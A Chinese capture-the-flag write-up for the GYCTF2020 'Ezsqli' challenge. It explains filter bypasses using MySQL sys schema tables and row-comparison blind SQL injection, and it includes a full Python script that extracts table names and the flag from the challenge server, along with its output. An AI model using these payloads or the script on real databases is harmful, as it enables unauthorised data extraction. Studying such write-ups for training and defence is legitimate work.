[GYCTF2020]Ezsqli
打开网页发现有个输入框,随便输入1 or 2
,发现or
被过滤了,因此尝试fuzz
看看,还过滤了哪些sql
关键词,我使用的fuzz
字典:
发现if
,or
,union
,information_schema.tables
均被过滤,因为输入2||True
和2||False
的返回结果不一致所以要用盲注来判断每个字符是什么。对于过滤掉information_schema
的题目,注意到MySQL5.7
的新特性:
由于
performance_schema
过于复杂,所以mysql
在5.7版本中新增了sys schemma
,基础数据来自于performance_chema
和information_schema
两个库,本身数据库不存储数据。
information_schema.tables
可以用sys.schema_table_statistics_with_buffer
或sys.x$schema_table_statistics_with_buffer
代替。
References
i春秋2020新春公益赛 GYCTF有关SQL注入题复现_qwzf-CSDN博客
由于sys.schema_table_statistics_with_buffer
或sys.x$schema_table_statistics_with_buffer
是不存储列名的,所以我们没有办法获取列名,所以我们需要直接得到每一列的数据。使用
(select 1,"F")>(select * from f1ag_1s_h3r3_hhhhh)
,这个payload
的意思就是f1ag_1s_h3r3_hhhhh
第二个字段的数据每一个字符与F
这个字符串每隔一个字符一一比较大小,如果F
比较大,就返回True
。以此类推,不断增加字符串长度,就可以得到完整的数据。
编写python脚本:
import requests
import time
Original_url = "http://902427eb-f418-4618-a114-a19aa948ebe9.node4.buuoj.cn:81/index.php"
Success_message = ["Nu1L","V&N"]
data = {"id": ""}
table_name_payload = "2||(select ascii(substr(group_concat(table_name),{},1)) from sys.x$schema_table_statistics_with_buffer where table_schema=database())>{}"
column_1_payload = '2||((select "{}",1)>(select * from {}))'
column_2_payload = '2||((select 1,"{}")>(select * from {}))'
def getname(payload):
name = ''
for i in range(1, 100):
begin = 32
end = 126
mid = (begin + end) // 2
while begin < end:
data["id"] = payload.format(i,mid)
RowText = requests.post(Original_url, data=data)
if Success_message[0] in RowText.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if (mid == 32):
print()
break
name += chr(mid)
print("\r表名: " + name, end="")
def GetData(table_name, column_payload):
flag = ''
for i in range(1, 100): #数据的第i位
time.sleep(0.3) #暂停
begin = 32
end = 126
mid = (begin + end) // 2 #取整除,返回商的整数部分(向下取整)
while begin < end:
tmp = flag + chr(mid)
data["id"] = column_payload.format(tmp, table_name)
RowText = requests.post(Original_url, data=data)
if Success_message[1] in RowText.text: # 这里用V&N判断
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if (mid == 33):
print()
break
flag += chr(mid - 1)
print(("\r表%s的数据: " + flag.lower()) % (table_name), end="")
getname(table_name_payload)
GetData("f1ag_1s_h3r3_hhhhh", column_1_payload)
GetData("f1ag_1s_h3r3_hhhhh", column_2_payload)
运行结果:
表名: f1ag_1s_h3r3_hhhhh,users233333333333333
表f1ag_1s_h3r3_hhhhh的数据: flag{c7ed400c-60f8-4350-bcca-cd92be34c14d}
需要注意的是:
2||((select 1,"{}")>(select * from {}))
不能用<
比较,flag最后一个}
会出现问题。- 需要加上
time.sleep()
暂停,不然会出现乱码。
判断字段数的方法:
- 输入
2||((select 1,1)>(select * from f1ag_1s_h3r3_hhhhh))
,发现网页输出Nu1L
- 输入
2||((select 1,1,1)>(select * from f1ag_1s_h3r3_hhhhh))
,发现网页输出bool(false)
所以f1ag_1s_h3r3_hhhhh
有两个字段。实验表明flag在第二个字段。
References
i春秋2020新春战"疫"网络安全公益赛GYCTF Writeup 第二天 - 颖奇L’Amore
[GYCTF2020]Ezsqli_fmyyy1的博客-CSDN博客